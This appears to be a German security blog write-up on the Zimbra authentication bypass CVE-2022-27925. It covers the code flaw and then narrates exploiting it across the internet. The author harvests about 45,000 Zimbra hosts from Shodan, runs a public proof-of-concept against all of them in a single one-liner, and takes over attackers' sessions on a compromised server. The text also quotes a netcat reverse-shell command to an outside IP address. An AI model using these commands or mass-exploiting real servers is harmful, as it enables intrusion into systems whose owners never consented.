
CVE-2022-27925
Die folgende Untersuchung begann mit dem Versuch, die POCs mehrerer Repositorien auf GitHub zu verstehen, die von vielen Forschern geteilt wurden, und endete in einer interessanten Überraschung, die ich in den folgenden Absätzen teilen werde. Am 10. August dieses Jahres veröffentlichte die Sicherheitsforschungsgruppe Volexity auf ihrem Twitter-Account die Entdeckung der massenhaften Ausnutzung der ZCS-Suite (Zimbra Collaboration Server), die eine Umgehung der Authentifizierung ermöglicht und dass weltweit nahezu 1000 Zimbra-Instanzen kompromittiert waren.
In der von den Kollegen von Volexity präsentierten Forschung zeigten sie einen Teil der konsultierten Logs:
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
Ebenso erklärten sie, dass der Codefehler auf die Funktion doPost zurückzuführen sei,

Das Problem mit diesem Code ist, dass die Authentifizierung überprüft und eine Fehlermeldung gesetzt wird, aber es gibt keine return-Anweisung. Das bedeutet, dass der nachfolgende Code unabhängig vom Authentifizierungsstatus des Benutzers weiter ausgeführt wird. Wenn man der Funktion nach unten folgt, muss ein Angreifer nur die richtigen Parameter in der URL setzen, um die Schwachstelle auszunutzen.
Sobald wir die möglichen Ursachen verstanden haben und einige POCs bereits veröffentlicht wurden, gehen wir zur schrittweisen Ausnutzung über, aber zuerst werden wir den Status mit dem Tool greynoise untersuchen.

Wir beobachten, dass auch mehr als einen Monat nach Veröffentlichung des CVE-2022-27925 weiterhin Angriffe durchgeführt werden.
Auf Shodan können wir rund 45.223 Zimbra-Installationen sehen.

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

Wir werden die Ergebnisse durchgehen
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

Wir werden die Daten etwas überprüfen und das notwendige Format für die Automatisierung der Tests geben
Wir parsen die Daten, um einen Online-Dienst nutzen zu können

Wir werden httpx in Docker verwenden

Wir laden den POC von GitHub herunter
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

Wir testen den Oneliner mit dem POC. Es ist wichtig zu beachten, dass wir die geparste Datei in das POC-Verzeichnis verschieben oder sie mit dem absoluten Pfad aufrufen müssen. Auch mit dem Shodan-Dump können wir ihn verwenden.
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

Während dieses Tests erscheinen viele Ziele bereits gepatcht
Schließlich erhielten wir ein Ergebnis


Nachdem die Schwachstelle ausgenutzt wurde, beobachten wir Dateien, die APT-Skripte zur Exfiltration von Informationen und zur Vorbereitung der Erpressung sind.

bösartige Datei gift

Sicherungs- und Exfiltrationsdatei
Einer der Pfade, die wir fanden, enthielt mehrere Webshells
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

Eine Analyse der laufenden Prozesse zeigte, dass Cronjobs installiert wurden, um E-Mails zu paketieren

Hinweis: Das Folgende wurde zu Bildungszwecken und als gute Tat durchgeführt
Nachdem der Download von Netcat identifiziert wurde, gingen wir dazu über, die Sitzung der Angreifer zu übernehmen. Es wurde die Verwendung von Netcat beobachtet: ./nc 52.90.92.82 443 -e /bin/bash
Eine vor mehr als 30 Tagen öffentlich gemeldete Schwachstelle ist zum Zeitpunkt der Erstellung dieses Artikels weiterhin wirksam. Es ist erwähnenswert, dass die Betroffenen erfolglos benachrichtigt wurden, da die Schwachstelle weiterhin aktiv ist.